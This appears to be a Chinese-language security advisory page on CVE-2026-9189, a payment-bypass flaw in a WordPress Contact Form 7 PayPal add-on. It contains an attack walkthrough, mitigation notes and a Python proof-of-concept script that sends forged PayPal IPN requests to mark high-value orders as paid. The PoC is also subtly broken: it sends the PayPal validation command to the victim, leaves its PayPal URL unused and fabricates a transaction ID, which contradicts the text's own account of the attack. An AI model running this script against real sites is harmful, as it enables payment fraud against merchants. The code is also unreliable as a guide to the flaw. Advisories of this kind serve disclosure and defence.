IPBUF安全漏洞报告
English
CVE-2026-9189 CVSS 5.3 中危

CVE-2026-9189 Contact Form 7 PayPal插件支付绕过漏洞

披露日期: 2026-05-29

漏洞信息

漏洞编号
CVE-2026-9189
漏洞类型
支付绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress

相关标签

CVE-2026-9189支付绕过WordPress插件漏洞PayPal IPN验证缺陷金额验证缺失Contact Form 7 PayPal Add-on电子商务安全MEDIUM严重等级

漏洞概述

Contact Form 7的PayPal和Stripe插件存在支付绕过漏洞,攻击者可利用此漏洞通过伪造PayPal IPN(即时支付通知)来标记任意高价值订单为已支付状态。该插件虽然正确验证了IPN的真实性(通过向PayPal发送cmd=_notify-validate进行验证),但在处理支付完成逻辑时存在严重缺陷:未将IPN中的支付金额(mc_gross)、货币(mc_currency)或收款人邮箱(receiver_email)与存储的订单信息进行比对验证,直接将攻击者可控的invoice字段传递给支付完成函数,导致攻击者可以用极小的实际支付金额完成高额订单。

技术细节

漏洞位于插件的cf7pp_paypal_ipn_handler()函数中。该函数在第75行和第106行处理PayPal IPN响应时存在以下问题:1) 虽然通过向PayPal发送'cmd=_notify-validate'来验证IPN的真实性,但这只证明了IPN确实来自PayPal,而非伪造;2) 验证通过后,函数直接获取invoice参数(订单号)、mc_gross(支付金额)等字段,但未将这些值与数据库中存储的原始订单信息进行比对;3) 在调用cf7pp_complete_payment()时仅进行了整数类型转换(intval),完全跳过了金额验证逻辑;4) 攻击者只需进行一笔小额的合法PayPal支付,即可获得一个有效的IPN验证,然后修改invoice参数指向目标高价值订单,即可将目标订单标记为已支付。攻击者可以利用WordPress表单收集的订单信息获取有效的invoice值。

攻击链分析

STEP 1
步骤1
攻击者访问使用Contact Form 7 PayPal插件的WordPress网站,填写表单提交一个高价值订单(如999.99美元)
STEP 2
步骤2
网站生成订单并存储,攻击者获取订单的invoice ID(订单号)
STEP 3
步骤3
攻击者在PayPal进行一笔极小的真实支付(如0.01美元),获得PayPal的有效IPN验证
STEP 4
步骤4
攻击者拦截或构造IPN请求,将invoice字段修改为目标高价值订单号,mc_gross保持为0.01美元
STEP 5
步骤5
将构造的IPN发送到受害网站的cf7pp_paypal_ipn_handler()端点
STEP 6
步骤6
插件向PayPal验证IPN真实性,PayPal返回VERIFIED(因为确实是真实支付)
STEP 7
步骤7
插件未验证mc_gross与订单金额是否匹配,直接调用cf7pp_complete_payment()标记订单为已支付
STEP 8
步骤8
高价值订单被标记为已支付完成,攻击者以0.01美元获得了999.99美元的商品或服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import hashlib import time # CVE-2026-9189 PoC - PayPal IPN Payment Bypass # Target: Contact Form 7 PayPal Add-on <= 2.4.9 def generate_ipn_payload(invoice_id, attacker_email, target_amount): """ Generate malicious IPN payload to bypass payment verification """ # Real PayPal sandbox endpoint paypal_url = "https://ipnpb.sandbox.paypal.com/cgi-bin/webscr" # Minimal real payment that attacker actually makes real_payment_amount = "0.01" # Malicious IPN payload - invoice points to high-value target order # But mc_gross is minimal (the amount attacker actually paid) ipn_data = { "cmd": "_notify-validate", "mc_gross": real_payment_amount, # Minimal actual payment "mc_currency": "USD", "invoice": invoice_id, # Target high-value order "receiver_email": "[email protected]", "payment_status": "Completed", "txn_id": f"{hashlib.md5(str(time.time()).encode()).hexdigest()}", "payer_email": attacker_email, "item_name": "High Value Order" } return paypal_url, ipn_data def exploit(target_url, invoice_id, target_amount): """ Execute the payment bypass attack """ # Step 1: Make minimal real payment to PayPal # (Attacker actually pays small amount) # Step 2: Capture valid IPN response paypal_url, ipn_data = generate_ipn_payload( invoice_id=invoice_id, attacker_email="[email protected]", target_amount=target_amount ) # Step 3: Send crafted IPN to vulnerable WordPress site # The site will verify with PayPal, which will return VALID # But the site won't check if mc_gross matches the order amount response = requests.post(f"{target_url}/?cf7pp_ipn=paypal", data=ipn_data) print(f"[*] Sent malicious IPN for invoice: {invoice_id}") print(f"[*] Actual payment: $0.01, Target order value: ${target_amount}") print(f"[*] Response: {response.status_code}") return response.status_code == 200 if __name__ == "__main__": target = "https://victim-site.com" # Target order with high value target_invoice = "order_12345" target_amount = 999.99 exploit(target, target_invoice, target_amount)

影响范围

Contact Form 7 PayPal Add-on plugin < 2.4.10
Contact Form 7 PayPal Add-on plugin <= 2.4.9
Contact Form 7 PayPal Add-on plugin <= 2.4.8
Contact Form 7 PayPal Add-on plugin <= 2.4.6

防御指南

临时缓解措施
立即禁用或删除Contact Form 7 PayPal Add-on插件,直到完成版本升级。如果无法立即升级,可临时关闭PayPal支付功能,转为手动确认付款。同时检查近期订单日志,排查是否存在0.01美元等异常小额支付后跟大额订单完成的情况。建议在Web应用防火墙(WAF)上添加规则,监控异常的IPN请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表